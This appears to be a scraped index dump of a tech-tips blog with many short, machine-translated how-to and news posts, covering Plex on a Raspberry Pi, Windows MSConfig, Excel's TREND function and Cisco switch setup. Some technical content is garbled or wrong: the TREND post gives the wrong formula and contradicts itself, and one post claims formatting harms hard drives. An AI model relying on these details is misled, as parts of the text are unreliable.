ncG1vNJzZmismaXArq3KnmWcp51kfnF51aKprqtdqLCius2ipaBlo6SztcPAq5xmnJ%2BawG66zq1kq52hqrazsYyipayskaG5osDIqKU%3D\n","link":"/post/10-virus-scanning-software-does-not-require-installation/","section":"post","tags":null,"title":"10 virus scanning software does not require installation"},{"body":"Apple just announced iPadOS 14, and with it a lot of new features, including a few worthwhile updates for the Apple Pencil. In particular, a new feature called Scribble promises to make writing experience on iPad become more coherent and stronger.\nIf you write something with Pencil in Notes, iPad will be able to copy and paste that handwritten content into other applications. That is, the text you write can be searched online or pasted into a document, and it will be converted to typed text instead of handwritten as it was.\nIn addition, if you write an address or phone number, iPad recommends activities related to them, lets you call that number, or find your way to the address you just wrote. This feature unfortunately only works in English and Chinese. Scribble will also automatically edit the drawings you drew with Pencil, ie if you draw a slightly distorted square, it will automatically make that square more square.\n The Apple Pencil is an iPad-specific accessory, and is currently not compatible with the iPhone. The last time Apple updated this pen was in 2018. Apple Pencil now has wireless charging and built-in gesture control. The company has been working on making Pencil more powerful, and handwriting recognition could be seen as a new step on the journey to making it an even more attractive option for consumers.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55kqZ2emLatecCnm2ahoJaxsL%2BMamtmr5mhuW7A1KulZrGfqr9utMCnm7Cqmam2r7OMoqWtp12WerXFz56uq6Gkmr8%3D\n","link":"/post/apple-pencil-and-ipados-14-will-turn-your-handwriting-into-a-typewriter/","section":"post","tags":null,"title":"Apple Pencil and iPadOS 14 will turn your handwriting into a typewriter"},{"body":"Google said it is testing a GoDaddy-like domain registration service called Google Domains. If you used to go to GoDaddy or similar sites to buy yourself a domain name such as abc.com, xxx.net, you can buy directly from this company in the near future.\n  \nThe nice thing about Google Domains is that they try to outperform rivals by offering incentives and enhancing ease of use such as automatically hiding buyers' information (name, home address) for free, easy. forward domain names, transfer domain names from other registrars and link to many website design services.\nNormally when buying a domain name, for example on GoDaddy , information such as your name, home address, phone number . will not be kept confidential, anyone using WHOIS tools has You can check your website information and know that personal information. To hide this information, you have to pay an extra fee, usually from a few dollars to more than 10 USD / year. Meanwhile, Google's service will automatically hide this personal information of users completely free, you do not need to pay any extra fee.\nGoogle says they allow you to transfer pre-purchased domain names to other vendors to Google Domains service for ease of management. Google Domains will share DNS servers with other Google services, providing 100 free email addresses, providing tools to easily add domain names to your websites and ultimately link associated with website design sites like Squarespace, Wix, Weebly, Shopify . These pages will help you create a website quickly within minutes without knowing anything about programming and web design.\nWith these features, Google Domains promises to be a domain name registration service that is worth it if the price is not too different from competitors. Now for GoDaddy, only a few dollars, you can buy a .com or .net domain name at your own discretion. Google Domains is currently in beta, if you want to use, you must have an invitation. The time of its official operation has not been published yet, if you want to learn more, you can go to its main website here: http://domains.google.com/about .\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqyVqMGmsIytn55llKS6orXNZqmen5mowbOt06Kmp2Wjmr%2B3tcKe\n","link":"/post/google-tested-the-domain-registration-service/","section":"post","tags":null,"title":"Google tested the domain registration service"},{"body":"Not only supporting mobile payment at millions of stores, Samsung Pay users can now accumulate, redeem points to receive gifts or save all membership cards of supermarkets, restaurants and commercial centers. , fashion stores, . into Samsung Pay application. This feature has just been added a few days ago, with Samsung Pay integrating membership cards almost entirely replacing the wallet. If you do not know how to add membership card to Samsung Pay, you can refer to the way below.\nHow to add payment card and use Samsung Pay How to quickly open Samsung Pay by fingerprint sensor How to pay for apps on Google Play with Mobifone account Instructions for adding membership card to Samsung Pay In order to use this feature, you need to make sure your phone is supported by Samsung Pay and has this software available on your device. Next, follow these instructions:\nStep 1: Access to Galaxy Apps, when you open the application, you will see the update message appear in the upper right corner as shown below.\n  Step 2: Conduct application updates.\n  Step 3: The process of updating and installing successfully, you open Samsung Pay, the main card will appear with the main interface. To add your membership card, simply select and scan the front of the card with the camera.\n  Note:\nIf the card information cannot be scanned, switch to manual input. For cards that are not on the list, you can add them in another card section. Integrating the membership cards is really a great feature, now you will no longer have to carry too many cards in your wallet or worry about missing points if you forget your card. With Samsung Pay everything is integrated into a convenient place right?\nSee more:\nHow to recharge your phone via Zalo Pay application Online buying experience on Alibaba 7 measures to enhance security for e-wallets you should not ignore ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXquscybnKurmJ69bq%2FAq5tmrJ9iwKK50q6loGWglsY%3D\n","link":"/post/how-to-add-membership-card-to-samsung-pay/","section":"post","tags":null,"title":"How to add membership card to Samsung Pay"},{"body":"Plex is a great toolkit, a media server software that allows you to stream movies and TV shows directly to any Plex client. The Plex client can be a page in a browser on a computer, an app on a tablet or phone, an Android TV box or even an app on a Smart TV.\nEither way, this server software is neat, flexible and fast, helping to keep your movie and program collection organized and accessible.\nIn this article, TipsMake.com will read the feasibility of creating and actually building an independent Plex server from Raspberry Pi 4 and a hard drive with readers.\nCreate a Pi Plex server To build this server, you need the following:\nA Raspberry Pi 4 (preferably placed in a case with a heat sink or cooling fan) USB C power (preferably official power) SD card has sufficient capacity Ethernet cable or WiFi First, install Raspbian on the card. Download the image here and burn it to the SD card with the appropriate software, such as the great multi-platform balenaEtcher.\nInsert the SD card into the Pi as usual and launch it.\nPrepare Pi When you see a command prompt, enter it with the ID pi and password raspberry to log in to the Pi.\nNow, you need to make sure that the Pi is fully updated. Type the following:\nsudo apt-get update sudo apt-get upgrade  Then you should reboot.\nNow you need to download the correct repository containing Plex server for Raspberry Pi Linux. Enter the following command:\nsudo apt-get install apt-transport-https  Before you can download a Plex repo, you must add the Plex GPG key or PlexSign.key directly to the repo with the following commands:\ncurl https://downloads.plex.tv/plex-keys/PlexSign.key sudo apt-key add -  Now the key has been added. You can download server software with the following commands:\necho deb https://downloads.plex.tv/repo/deb public main sudo tee /etc/apt/sources.list.d/plexmediaserver.list  Once that is done, you need to run the update command again to refresh Pi:\nsudo apt-get update  Once that is done, you should be able to install server software on the Pi.\nInstall Plex server The software installation itself is fairly easy. Just enter:\nsudo apt-get install plexmediaserver  And if the repo is in place, the software will be installed easily and normally. Now, you need to make sure that the IP address on the network is still static. First, you do this by finding out what the current IP address is, then editing the cmdline.txt file .\nFind your current IP address by typing:\nhostname -I  In the example case, the IP address is 192.168.0.53.\nNow open the file cmdline.txt and edit it. Open nano editor and file by typing:\nsudo nano /boot/cmdline.txt  . and add the line:\nip=IP CỦA BẠN  . at the bottom of this file and save it with Ctrl + X (Enter Y at the prompt.)\nNow type:\nreboot  Pi will reboot. The setup is complete and the Pi can now run a headless Plex server (without the need for a monitor). Use Plex client or access by web browser to port 32400 as follows:\n192.168.0.53:32400/web/  Where the first part is your IP address.\nIf you succeed, the server will display as one of the options.\nFinally, you can add media files. Selecting the type of movie library or TV show will change the way files are organized in a database.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmkla16tLHRr5yrZZ%2BjerOt0qmZnqqirnqxtYxt\n","link":"/post/how-to-create-a-plex-server-on-raspberry-pi-4/","section":"post","tags":null,"title":"How to create a Plex Server on Raspberry Pi 4"},{"body":"Taskbar is a special toolbar at the bottom of the screen. The main taskbar, including the clock and notification area, is located on the home screen by default.\nYou can keep the taskbar in one place by locking it. This may prevent accidentally moving or resizing the Taskbar. If unlocked, you can drag the taskbar to resize or move it to the bottom, left or right, or the top of the screen.\nThis guide will show you how to lock or unlock the Taskbar in Windows 10.\nLock or unlock the taskbar from the Taskbar Note : This option will not be available when you turn on tablet mode.\n1. Right-click or press and hold on the taskbar.\n2. Click Lock all taskbars (if you have multiple screens) or lock the taskbar (if you have a single screen) to select (lock) or deselect (unlock), depending on what you want.\n Click on Lock all taskbars or lock the taskbar to lock the taskbar Lock or unlock the taskbar in Settings 1. Open Settings and click on the Personalization icon .\n2. Click Taskbar on the left side and turn on (default) or turn off Lock the taskbar setting in Taskbar on the right side, depending on what you want.\n3. When done, you can close the Settings if desired.\n You can lock or unlock the taskbar in Settings In Windows 10, locking and unlocking the taskbar is relatively easy. You can follow either of the 2 ways above to accomplish this.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmLhuwc2lppyjXam1pnnTmqqkmpGneqq6jLCgp5yfrMBufY8%3D\n","link":"/post/how-to-lock-unlock-the-taskbar-in-windows-10/","section":"post","tags":null,"title":"How to lock / unlock the Taskbar in Windows 10"},{"body":"If someone asks you to sign a document and send it back to them, will you have to buy a printer and scanner, print the document, sign it and scan it? The answer is no.\nWhy waste paper when you can digitally sign documents? All you need is a picture of your signature, a PDF document you want to sign and GIMP! Let's find out how to do it via the following article!\nPrerequisites To be able to sign a digital document, you will need the document in PDF format.\nAdding a signature to the document is easy, if you have a tablet with a stylus. For most people who don't have such a device, a signature photo taken with a smartphone and saved in JPEG format can also be used.\nThere is a lot of software that allows you to sign documents. In this tutorial, the article will show you how to add a signature using GIMP.\nBegin Run GIMP and use File\u0026gt; Open . to find, select and open the PDF file you want to sign.\nThe PDF file in the example has a single page. If your document has more pages, select the page you want with 'Open pages as: Layers' . Leave the rest of the options as they are and click Import.\n Select the PDF file you want to sign If your document includes more than one page, thanks to the previously selected option, you will find them as individual pages in the right panel of the layer. Use the eye icon on the left side of each layer to change its visibility.\nUse File\u0026gt; Open as Layers . to find, select and import your signature image as a new layer.\nWorking with layers Move the newly imported signature layer directly onto the page layer you want to sign, by left clicking and dragging it up or down in the layer list. You will have to click and deselect some eye icons to find the one that fits.\n Move the newly imported signature layer directly onto the page layer you want to sign To make it easier to set, reduce the opacity of the signature layer by using the bar at the top of the layer panel. Use the Move tool ( M on the keyboard) to move the signature layer to where you want it to appear on the page.\nUse the Scale tool ( Shift + S on the keyboard) if you need to shrink your signature to better fit. After you select the tool and start shrinking the signature, press Shift again and hold to limit the rate distortion job. You don't want your signature distorted, do you?\nYou may need to reselect the Move tool to better position the signature on the page. When you're happy with its position, bring the layer's opacity back to 100%.\nYou may think that a transparent PNG signature is needed, but in 99.9% of cases, the signature is written in black or blue ink on white paper. And thankfully we have layer modes.\nNotice the pulldown Mode menu at the top of the layer panel. With the signature layer selected, change the mode from Normal to Darken only. All whitespace around the signature will be effectively bypassed and transposed.\n Change the mode from Normal to Darken only To complete the changes, right-click on the signature layer and select Merge Down to associate the signature with the page.\nChoose File\u0026gt; Export As . and give the new document a different name to keep the original. Use PDF as an extension to re-export in this format.\n Give the new document a different name and export it in PDF formatncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquZnLturYydppytnZq7tXnWoquhZZeeurE%3D\n","link":"/post/how-to-sign-a-document-with-gimp/","section":"post","tags":null,"title":"How to sign a document with GIMP"},{"body":"Sometimes when using a computer we will encounter a number of minor errors and for many people less used, surely you will feel worried about that. However, there is a simple troubleshooting method, built into the Windows system. It is the System Configuration Utility ( Msconfig.exe ) - A software that may be familiar to people who often build computers. In this article, let's TipsMake.com go learn how to use MSConfig in Windows to fix the problem .\n  First, to open the MSConfig utility :\n(1) Press Windows + R keys to open the Run dialog box\n(2) Then type msconfig . Choose OK .\n  Then the System Configuration window appears. Its interface consists of 5 tool tabs. These tools will help you change and configure your system startup, diagnose Windows to find problems. It also has a number of options to help you turn off and restrict various services. Here is a closer look at the tool tabs to help you better understand the use of MSConfig.\n  1. General General tab shows boot options, here are 3 modes:\n- Normal Startup (Normal startup)\nThis is the default boot mode for Windows. The operating system will load all locally installed drivers and programs, default drivers, and system services.\n- Diagnostic Startup (Diagnostic Startup)\nThe mode is similar to when you boot in Safe Mode - safe mode. You can use it to find problems and to check for errors on your computer. When booted in this mode, the computer will only load basic, default services and drivers. Remove programs, services, third-party drivers and locally installed programs.\n- Selective Startup (Selective Startup)\nYou will have 3 other small options that help you switch to the various startup programs and services you want to run through the startup services and tabs.\nLoad system services : Download system services .\nLoad startup items : Load startup items .\nUse original boot configuration : use the original boot configuration .\n2. Boot   This is the tools tab that controls computer startup settings. It includes various options and items that help set up the Windows boot process. It also has advanced options to help you control system hardware issues.\n- In the Boot tab will display a list of current operating systems installed in the computer.\n- Under Boot options , you can start Windows in 4 different safe modes.\n- The Timeout section specifies the time to wait for Windows in the Boot menu before starting to reload to the default operating system.\n- Also in the Advanced options section to help you get more advanced options.\n3. Services   The Services tab displays all services that will start at the system. You can hide Microsoft default services to make it easier to find third-party services by checking Hide all Microsoft services . This will help you find the cause of the problem from the 3rd party. You can also disable all services by clicking Disable all .\n4. Startup   Startup tab you will be redirected to Startup section in Task Manager.\n  Here you can enable or disable the programs that will start with the system.\n5. Tools   The Tools tab displays various utilities and tools that you can launch directly from MSConfig. Find and select tools and Launch to launch them.\nAfter you have made your changes, click Apply and then click OK to complete. Windows will restart and apply the settings you just changed. Thank you for watching the article!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnquv8KopZ%2Bhl2K2r3nWoqWdp6eoerW7jJ%2BgsWWgp7yjuMSmqg%3D%3D\n","link":"/post/how-to-use-msconfig-in-windows-to-fix-problems/","section":"post","tags":null,"title":"How to use MSConfig in Windows to fix problems"},{"body":"Studying abroad in countries with advanced education such as the US, Australia, Finland or Germany . surely must not be anything too strange for Vietnamese people, however, few people know that in Southeast Asia also has many prestigious universities, which have been recognized, ranked, and highly appreciated by the world for the quality of teaching, while the cost of studying is much cheaper than the university. countries mentioned above.\n  According to the recently announced QS World University rankings, up to 2 of Singapore's universities dominate the top 3 places for top universities in Asia. Specifically, National University of Singapore and Nanyang Technological University are ranked first and second in the list of Asia's best higher education institutions, released last week by UK education experts Quacquarelli Symonds (QS). The 10 best universities in Asia include the following names:\n  Google, Apple and many other large companies employing employees no longer require a college degree Here are the 10 best higher education institutions in Southeast Asia, cited from Asia's general list:\n# 22 Universiti Malaya (Malaysia) # 37 Universiti Kebangsaan Malaysia # 40 Universiti Putra Malaysia # 41 Universiti Sains Malaysia # 45 Universiti Teknologi Malaysia # 57 Chulalongkorn University (Thailand) # 64 Universitas Indonesia # 73 Universiti Brunei Darussalam (Brunei) # 79 Bandung Institute of Technology (Indonesia) Universities are rated and ranked based on the following 6 criteria:\nReputation in academic research Reputation for employers Percentage of lecturers / students Achievements of faculties Rate of international lecturers Rate of international students Unfortunately, Vietnam is still unable to have a representative in the top 10, but if we consider the top 20, we will have the only representative of Vietnam National University, ranked 19th in Southeast Asia and 1093. gender.\n50 best computer science universities in the world If you are thinking of enrolling in one of Asia's best universities, check out the list here.\nncG1vNJzZmismaXArq3KnmWcp51kuaq%2F02amn2WSmsC1edSnoK%2Bdoqi2tbXErGSipl2ovLbAx56YrKxdlsCqrYyipWZqYGaG\n","link":"/post/list-of-best-universities-in-southeast-asia-in-2019/","section":"post","tags":null,"title":"List of best universities in Southeast Asia in 2019"},{"body":"What will you do when Windows crashes? Of course, the most common is still to reinstall the operating system. Many people still regularly format the hard drive every time they do this, but if done too much, it will adversely affect the durability of the HDD. Is it really necessary to format every time you reinstall? In the following article, TipsMake.com will introduce you to the basic steps to reinstall Windows without formatting the hard drive.\nSome things to keep in mind when doing this: if you reinstall Wins, the system will remove all related folders, Program Files and My Documents, other programs and applications. As always, back up the most important data such as documents, documents . and most importantly, a Windows installation disc, portable storage device such as USB.\nInsert the Wins install disc into the DVD drive, then select Run setup.exe when the system asks:\n  Click Install Now when the next window appears:\n  Remember to select the Go online to get the latest update for installation page here:\n  Accept agreements, terms of use and Next :\n  And Custom :\n  Select the previous Windows installation partition (most commonly still C drive), the system will warn that the old system files will be backed up in the windows.old folder. Then click OK:\n  And finally, reset the parameters as usual:\n  This is the basic step to reinstall the operating system without formatting the hard drive. When you do it this way, you won't have to worry about data loss, but there are still a lot of people who don't notice it, which will affect more or less the durability and HDD life. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kv6a1zayrmqScnruoedaipZ2np6h6pbvErGSnp6Riu6axw2arqGWWpL%2BurdNmq6GdXZ2us7CMnamirpU%3D\n","link":"/post/reinstalling-windows-does-not-need-to-format-the-hard-drive/","section":"post","tags":null,"title":"Reinstalling Windows does not need to format the hard drive"},{"body":"\"Wsappx\" is part of Windows 8 and 10, you may have seen it running in the background or even using a significant amount of CPU and hard disk resources. It concerns Windows Store and Microsoft's new \"Universal\" application platform.\nHow to delete a Windows Service on Windows 7, 8, 10, Vista and Windows XP What is Wsappx? Wsappx includes two separate background services. On both Windows 8 and 10, the wsappx process includes the AppX Deployment Service (AppXSVC). You will also see the Client License Service (ClipSVC) on Windows 10 and the Windows Store Service (WSService) instead of ClipSVC on Windows 8.\n  If you see the wsappx process running in Task Manager, expand it and you will see one or both subsystems running (depending on the version of Windows you are using). These services handle the installation, delete and update Store apps and ensure they are properly licensed.\nLet's look at each of these services.\nWhat is AppX Deployment Service (AppXSVC)? The AppX Deployment Service is responsible for reviewing applications in the Store. Universal Windows Platform applications (UWP, unified Windows applications) are distributed in .AppX packages. In other words, this process is used to install, uninstall and update the Store application. Windows automatically updates the Store app in the background and many applications that come with Windows from Mail to Paint 3D.\n  The traditional Windows desktop application uses CPU and hard disk resources when you install, remove or update them. The only difference is that when working with Store apps, you will see resources used by AppXSVC instead of the installer for each program.\nIf you see this process running while you are not installing the application, even if you have never used it before, it is because Windows is updating them in the background. That also explains why you sometimes see this process using CPU and hard disk resources in the background.\nWhat is Client License Service (ClipSVC) ?   On Windows 10, ClipSVC background service handles \"infrastructure support\" for Store. According to Microsoft, applications purchased from the Store on the system will \"not work correctly\" if you disable it.\nThis service can perform a number of different tasks that allow the Store application to run properly as a license manager to ensure you can only run paid Store applications. That is the anti-piracy feature. In addition, Microsoft does not explain the other features of this service provided to Store applications.\nWhat is the Windows Store Service (WSService) ?   On Windows 8, the WSService background service also handles \"infrastructure support\" for Store. In fact, the ClipSVC service on Windows 10 and WSService on Windows 8 has the same description in the Service interface. The WSService process is basically the same as ClipSVC is just another name on Windows 8.\nWhy is the wsappx process using a lot of CPU resources? The wsappx service usually only uses a certain amount of CPU resources when the computer installs, uninstalls or updates the Store application. This process occurs when you install or uninstall an application or Store automatically updates applications on the system.\nIf you really don't care about these applications, you can set Windows Store to not automatically update the application. To turn off auto-update, open Store, click on the user icon in the top right corner of the window and then select the ' Settings . Leave the ' Update apps automatically ' slider to \" Off \".\n  When you want to update the app, you can reopen Store, click on the user profile icon and select ' Downloads and updates '. This screen will display all updates for installed applications on the system and allow you to install them.\nThis solution prevents the wsappx service from using the CPU to update the application in the background, but you will not be able to automatically get the latest application updates. When you update the application manually, you will still use system resources such as CPU and RAM, but at least you can choose when to use them.\nMicrosoft usually updates the applications that come with Windows such as Mail, Movies \u0026amp; TV, OneNote, Photos and Calculator so if you use one of these apps, don't turn it off.\nCan disable wsappx process? You cannot turn off these services. They do not run automatically in the background, they only launch when needed and close when not needed. For example, ClipSVC appears when running the Store, AppXSVC application when launching the Windows Store and installing or uninstalling the application, you will see AppX use some system resources to complete the process.\nIf you try to 'kill' the wsappx process from Task Manager, Windows will warn your system will be unusable or turned off. Also you have no way to disable wsappx in the service utility.\n  Even if you can block these services, you can't do them because this is an important part of Windows 10. They only run when needed and most use a certain amount of system resources. They only use system resources when installing, uninstalling or updating the Store application and you can set it to not work in the background if desired.\nWsappx is a virus or malicious software? WSappx software is part of Windows 10 and has not seen any malware reports disguising as AppXSVC, ClipSVC or WSService. However, you should run anti-virus programs that check your system regularly to detect computer problems and promptly resolve them.\nncG1vNJzZmismaXArq3KnmWcp51kwLC5xK2foqaXYq6ju9StZLCrkaW9uXnIp2SwoZ6ZvLi%2F\n","link":"/post/something-about-wsappx-in-windows/","section":"post","tags":null,"title":"Something about Wsappx in Windows"},{"body":"The following article introduces you to TREND function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function returns values ​​in a linear trend.\nSyntax: TREND (known_y's, [known_x's], [new_x's], [const])\nInside:\n- known_y's : The set of known y values ​​in the relationship y = b * m ^ x , is a required parameter.\n+ If known_y's is in a single column or row -\u0026gt; each known_y's column or row is interpreted as a separate variable.\n- known_x's: The set of known x values ​​in the relationship y = b * m ^ x , is a required parameter.\n+ known_x's may include 1 or more sets of variables.\n+ If known_x's is omitted -\u0026gt; it is assumed to be an array of the same size as known_y's\n- new_x's: \u0026nbsp;Are the new x values ​​that you want the function to return the values ​​corresponding to the values ​​of y.\n+ new_x's must include a column (row) for each independent variable.\n+ If new_x's is omitted -\u0026gt; it is assumed to be the same as known_x's.\n+ If known_x's and new_x's are omitted -\u0026gt; it is assumed to be the same as known_y's size .\n- const: The logical value determining the value of the constant b, is an optional value including the following values:\n+ const = True or ignore -\u0026gt; b is calculated normally.\n+ const = False or ignore -\u0026gt; b = 1 and m are adjusted such that: y = m ^ x.\nAttention:\n- The value of the returned formulas has the array formula type -\u0026gt; the function must be entered as an array formula.\n- If known_y's ≤ 0 -\u0026gt; the function returns the #NUM! Error value\n- When entering values ​​for an argument with the following convention:\n+ Use commas to separate values ​​in the same row.\n+ Use semicolons separating between rows together.\nFor example:\nRevenue estimates for June, July and August are based on previous months as described in the following data table:\n  - In the cell to calculate enter the formula : = TREND (D6: D10, C6: C10)\n  - Press Enter -\u0026gt; return value is:\n  - Highlight the sales areas in June, July and August (D11: D13 areas) -\u0026gt; press F2:\n  - Press the key combination Ctrl + Shift + Enter -\u0026gt; estimated revenue for June, July and August is:\n  Above are instructions and some specific examples when using TREND function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbOxzZ1kraCVYrO2usKtoKimXaeytcHRp6pmrpGhwqa%2FjF58a11oZXJ5joR%2BaV5wYFqFg7XNZphmpJmjsqK%2BjK2pnqaUYravecSxmp6k\n","link":"/post/the-function-returns-values-in-a-linear-trend-in-excel/","section":"post","tags":null,"title":"The function returns values ​​in a linear trend in Excel"},{"body":"Free Fire is a popular battle royale game where players have to fight to be the last person alive on the battlefield. There have been many instances where players are unable to download games, simply because they don't have enough storage space on their mobile devices. If so, try to download and play the 5 games below, they are as good as Free Fire and have a capacity of less than 50MB.\n1. Stickman Battle Royale   True to the name, players play the role of a stick figure and fight other similar characters, you will have to ensure safety when fighting enemies, like in Free Fire. Stickman Battle Royale has over a million downloads on the Google Play Store and can run smoothly on low-end devices as well. Players are landed on an island as one of hundreds of stickmen, and fight for survival.\n=\u0026gt; Link download Stickman Battle Royale for Android here.\n2. Grand Pixel Royale Battlegrounds   This game is intended for players who transform into pixel characters, just like in Minecraft. Grand Pixel Royale Battlegrounds also allows players to switch between first-person and third-person modes, short-lived matches because there are only 10 players in total. Like Free Fire, this game offers a variety of weapons like AK, sniper rifle, pixel gun, pistol, etc.\n=\u0026gt; Link to download Grand Pixel Royale Battlegrounds for Android here.\n3. Free Battle Royale Battleground Survival   Like Free Fire, this game is also compatible with low-end devices. Free Battle Royale Survival's graphics may not be too immersive like Garena Free Fire but still very interesting to play. The game offers a variety of military vehicles that the player can use to move from place to place on the map, and also has a number of weapons needed to kill your enemies.\n=\u0026gt; Link to download Free Battle Royale Battleground Survival for Android here.\n4. Shooting Squad Battle   This game also offers players powerful weapons that can be used to defeat enemies, just like Free Fire. There are different combat missions for each level in Shooting Squad Battle. In addition to the battle royale battles, players can choose the Death Match mode and Survival War mode, easy controls, and very rich background images.\n=\u0026gt; Link download Shooting Squad Battle for Android here.\n5. Hopeless Unknown Free Critical Battleground Strike   Free Fire's basic rules also apply to this survival arena game. Hopeless Unknown Free Critical Battleground Strike provides a variety of items, all of which can be used by the player to restore HP in the event of an injury. Sniper lovers will have more fun playing this 3D FPS game. Players will have to loot weapons upon landing on the battlefield if they want to eliminate all of their opponents.\n=\u0026gt; Link download Hopeless Unknown Free Critical Battleground Strike for Android here.\nAbove is the entire list of 5 offline games with the same gameplay as Free Fire under 50MB for devices running Android.\nTop 5 Free Fire ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5knKefoXqwssWloKedXZyurrHSZqOio5Vis7OxxGadoqqVYsKvsMSrZG5onZc%3D\n","link":"/post/top-5-cool-offline-games-like-free-fire-under-50mb/","section":"post","tags":null,"title":"Top 5 cool offline games like Free Fire under 50MB"},{"body":"There are many reasons why iPhone does not vibrate when a message arrives, so what is the way to fix the phenomenon of iPhone not vibrating when there are messages?\nThe reason iPhone does not vibrate when there is an incoming message can be caused by many factors such as: software conflict error, strong collision in the process of using the phone or water drop affecting the internal circuit.\nSometimes the user accidentally leaves the phone in do not disturb mode. One reason why iPhone does not vibrate when there is a message may be due to the improper contact between the vibrating motor and the main.\nTo overcome the phenomenon of iPhone not vibrating when there are messages to, users can try a few tips below:\n  1. Reboot the device Restarting the device is a simple but effective method to help users overcome the problem of iPhone not vibrating when a message arrives. Because for a long time of operation, it may cause the applications installed on the iPhone to conflict with each other, causing this phenomenon.\n2. Check if the 'Do Not Disturb' feature is enabled The 'do not disturb' feature allows users to remove notification of calls and messages, and of course if the user is turned on this feature will not receive a vibration notification when a message arrives.\nSo check if the device is turned off by going to Settings\u0026gt; Do not disturb\u0026gt; Turn off Do Not Disturb.\n3. Check the vibration setting on iPhone Go to Settings\u0026gt; Sound \u0026amp; Touch\u0026gt; Turn on the two options Vibrate on ring and Vibrate when silent. Next, select the Ringtone and choose Vibrate, then choose a vibration pattern to check if your iPhone has lost vibrations.\n4. Perform a factory reset To perform the factory reset, go to Settings - select General - select Reset. Next, select Reset all settings to perform a factory reset.\n5. To reputable repair and warranty centers If you have tried all of the above and still cannot fix the iPhone not shaking when there is an incoming message, quickly go to reputable repair and warranty centers to check and fix.\nncG1vNJzZmismaXArq3KnmWcp51kwbO1wqRkraddm7a5ecipn6imlWK9qbvNnmSnp6Riw6qu0ZqrnmWnnbKvedOhnKudXZ7Abq3NZqCnm5%2Bitq%2BzjKacrKuRnLI%3D\n","link":"/post/trick-to-fix-iphone-phone-not-vibrate-when-there-is-an-incoming-message/","section":"post","tags":null,"title":"Trick to fix iPhone phone not vibrate when there is an incoming message"},{"body":"The Apple logo is a half-eaten apple, making many people wonder why not a healthy apple? In fact, this is a question many people ask and comes with a lot of theories.\nOne of those theories is that the three Apple co-founders Steve Jobs, Steve Wozniak and Ronald Wayne, decided to choose the company logo as an apple that was bitten in memory of Alan Turing and his contributions. your.\n  If you do not know, Alan Turing is the person who laid the first foundation for modern computers today and pioneered the study of artificial intelligence. He also deciphered the numbers during the German War. At the end of his life, Alan Turing nearly went to jail and was mocked for being gay. On June 7, 1954, Alan Turing ate an apple containing cyanide, a powerful substance that can kill an elephant, to put an end to his life.\nAnother widely accepted theory is that the apple symbol represents knowledge in the Adam and Eve story. It could also be an apple falling from a tree to help Isaac Newton find gravity.\nHowever, Rob Janoff, who designed the logo, denied all of these theories. Rob Janoff said he liked the story of Turing, he didn't know it before. When designing the Apple logo, Steve Jobs didn't even send him specific requests. The reason Apple's apple has a bad bite is to create awareness. The bite will be a measure to help the viewer recognize that it is a big apple, helping the logo not to be confused with the small cherry fruit despite appearing in small size.\nHow is the Apple logo designed?\nApple logo is not designed as simple as many people think, it is designed according to the golden ratio principle with a rectangle and Fibonacci integer sequence.\nThe overall size of the apple is divided into yellow rectangles. The small squares inside, the apple's two-headed curves and the right defect all strictly follow the Fibonacci sequence.\n  How much does it cost to design an Apple logo?\nMore than 40 years ago, Apple spent $ 50,000 to have a simple, beautiful, bold logo of the company and used on its product lines from its inception until its inception. nowadays.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKKqZqyYmnqivM%2BlnGakn5y8bq2MnZyfnZOptrexjJqnqaSVYruwwIyipa2Zk6k%3D\n","link":"/post/why-is-the-apple-logo-a-defective-apple-not-intact/","section":"post","tags":null,"title":"Why is the Apple logo a defective apple, not intact"},{"body":"The majority of switches commonly used in small businesses and at home are places that do not require configuration - these switches comply with the 'plug and play' standard. It's important to keep in mind that sometimes 'plug and play' doesn't always work, but these switches will definitely not offer any troubleshooting and data logging. security or control. \n So every time you are ready to make the switch to a more complex switch, what is the need to know? Let's answer some of the most frequently asked questions and explore the basic configuration of Cisco IOS switches. 1, Which VLAN is the default? The default VLAN on all switches is VLAN 1. All ports on the switch are defaulted to VLAN 1. With all ports on VLAN 1 they can communicate with each other. As soon as you change the assigned VLAN on another switch port to VLAN, this switch port will not be able to communicate with the rest of the devices on the other port. Figure A shows the transition with the default configuration. Notice how the ports on the VLAN1 look like.\n  Picture A\n2, Why need to configure the interface \"vlan 1\"? If you want to be able to manage remote switching over the network, the switch needs an IP address. If the switch is configured with multiple VLANs and you want to be able to manage switches from each VLAN, then it needs an IP address on the VLAN interface in each VLAN. To be able to manage the switch - even if all ports are in the default VLAN 1 - you'll still need to configure an IP address on the switch 'vlan 1' interface and of course on VLAN 1. Figure B shows us how the switch switched interface configured with IP address on VLAN 1.\n  Figure B\n3, Why need a default port? In fact, the switch will not have a configured default gateway. However, if you want to be able to communicate with the switch from another subnet, you need to configure a default gateway on it to be able to connect to the internal LAN adapter. Here's how to configure a default gateway on the switch:\nSwitch (config) # ip default-gateway 10.92.103.254\n4, How to speed up switch ports? \n Cisco switches can perform many other tasks besides connecting a regular computer to the network. That's why you should use an optimal way to change - They need to be configured further. To use the port and tell the switch that there will always be 'access devices' (such as computers) on that port, use the following two commands:\nSwitch (config) # interface FastEthernet0 / 48 \n Switch (config-if) # switchport mode access \n Switch (config-if) # no shutdown \n Switch (config-if) # spanning-tree portfast\n5, How important is speed and duplex switch ports? For switch ports, speed and duplex are very important. This does not mean that speed and duplex are not important on Ethernet switch ports. However, all switches connect one device to the LAN, and there are many devices that need connectivity, so it is more appropriate to speed up and apply duplex on switch ports. On the network there will always be old and slow devices that are not compatible with your switch, they do not perform acceleration and duplex correctly. Use the following command to see what speed and duplex a switch port is doing:\nSwitch # show interface gigabitEthernet 1/0/3\nYou will see the following command line:\nFull-duplex, 100Mb / s, media type is 10/100 / 1000BaseTX\nTo change speed and perform duplexing, use the following command:\nSwitch (config) # interface gigabitEthernet 1/0/3\nSwitch (config-if) # speed 100 Switch (config-if) # duplex 